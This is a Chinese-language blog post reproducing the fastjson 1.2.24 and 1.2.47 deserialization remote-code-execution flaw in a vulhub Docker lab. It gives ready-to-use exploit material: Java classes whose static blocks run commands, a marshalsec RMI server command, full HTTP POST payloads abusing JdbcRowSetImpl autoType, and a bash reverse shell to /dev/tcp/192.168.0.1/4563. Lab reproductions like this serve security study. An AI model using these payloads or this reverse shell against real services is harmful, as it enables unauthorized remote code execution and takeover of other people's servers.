fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

前置知识

今天复现了常见的fastjson反序列化漏洞,了解该漏洞需要一些前置的知识,这里总结一下:

Fastjson
fastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。

JNDI
JNDI(Java Naming and Directory Interface)是一个应用程序接口,主要提供查找、访问、命名常见的接口,定位网路、用户、对象和服务一些资源,简单理解就是JNDI将常用的功能、组件、服务取了名字,然后使用名字来查找使用。
JNDI可以使用RMI远程对象调用,支持的常见服务有DNS、LDAP、RMI、CORBA

RMI
RMI(远程方法调用Remote Method Invocation),远程调用方法在分布式编程中很常见,主要实现远程方法的调用,其中RMI是专门给Java环境设计的远程方法调用机制

JDNI注入
通过上述的一些基础前置知识,大概可以了解到JNDI中有一个服务RMI可以支持Java远程方法的调用,如果使用rmi调用的远程地址中的方法有一些危险的代码,并没有经过处理,就会导致命令的执行,具体流程图如下。转载:先知社区
地址: https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb%3DbdF5G8%2BneD

漏洞复现

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本为 fastjson < 1.2.25

这里我们使用vulhub复现该漏洞

cd vulhub/fastjson/1.2.24-rce
sudo docker-compose up -d

环境启动成功

首先我们需要再本地写一个test.java,内容如下

import java.lang.Runtime;
import java.lang.Process;
public class test{
        static {
                try{
                        Runtime rt = Runtime.getRuntime();
                        String[] commands = {"touch","/tmp/test.txt"};
                        Process pc = rt.exec(commands);
                        pc.waitFor();
                } catch (Exception e) {
                        // do nothing
                }

        }
}

注意这里需要java8的环境,可以下载jdk8环境,然后使用ln -s配置环境变量
jdk8下载位置: https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html

使用java8环境的javac编辑test.java

然后再当前目录使用pyton -m http.server 5623共享该目录

这个时候我们需要启动一个rmi服务器,然后这个rmi服务器会在本机监听,如果有人远程调用test方法,就会访问python共享的test.class
构建rmi服务器需要一个marshalsec-0.0.3--SHOT-all.jar,这里可以直接下载,可以自己构建这个文件
这里我下载的别人的 https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.154.138:5623/#test" 8653

上述中#后面加上test.class的名称test即可,后面的端口号为8653,一会需要使用fastjson漏洞调用远程请求我们监听的rmi服务器

最后一步需要构造payload,如下,手动抓包时注意,需要将GET更改为POST,将Content-Type改为application/json
如下:

POST / HTTP/1.1
Host: 192.168.154.138:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 158

{
"b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://192.168.0.1:8653/test",
          "autoCommit":true
    }
}

这里需要注意rmi请求的地址为docker服务主机的IP,可能访问不了eth0网卡的地址,所以使用docker inspect 容器ID查看docker主机的IP

一般网关就是docker宿主机的IP


虽然返回了500错误,但是进入服务器可以看到,test.txt成功创建

可以看到成功请求了我们共享的文件

反弹shell

只需要将test.java中的命令改为bash反弹shell指令即可如下

import java.lang.Runtime;
import java.lang.Process;
public class reverse{
        static {
                try{
                        Runtime rt = Runtime.getRuntime();
                        String[] commands = {"bash", "-c", "bash -i >&  /dev/tcp/192.168.0.1/4563 0>&1"};
                        Process pc = rt.exec(commands);
                        pc.waitFor();
                } catch (Exception e) {
                        // do nothing
                }

        }
}

后续步骤和上述以上,不在详细叙述,步骤如下
先监听本机4563端口

fast 1.2.47 命令执行

具体原理和1.2.24一样,payload有些改变,如下

POST / HTTP/1.1
Host: 192.168.154.138:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 273

{
"a":{
          "@type":"java.lang.Class",
          "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://192.168.16.1:8653/reverse",
          "autoCommit":true
    } 
}


反弹shell成功,实验结束.

posted @ 2024-04-16 09:22  Junglezt  阅读(254)  评论(0编辑  收藏  举报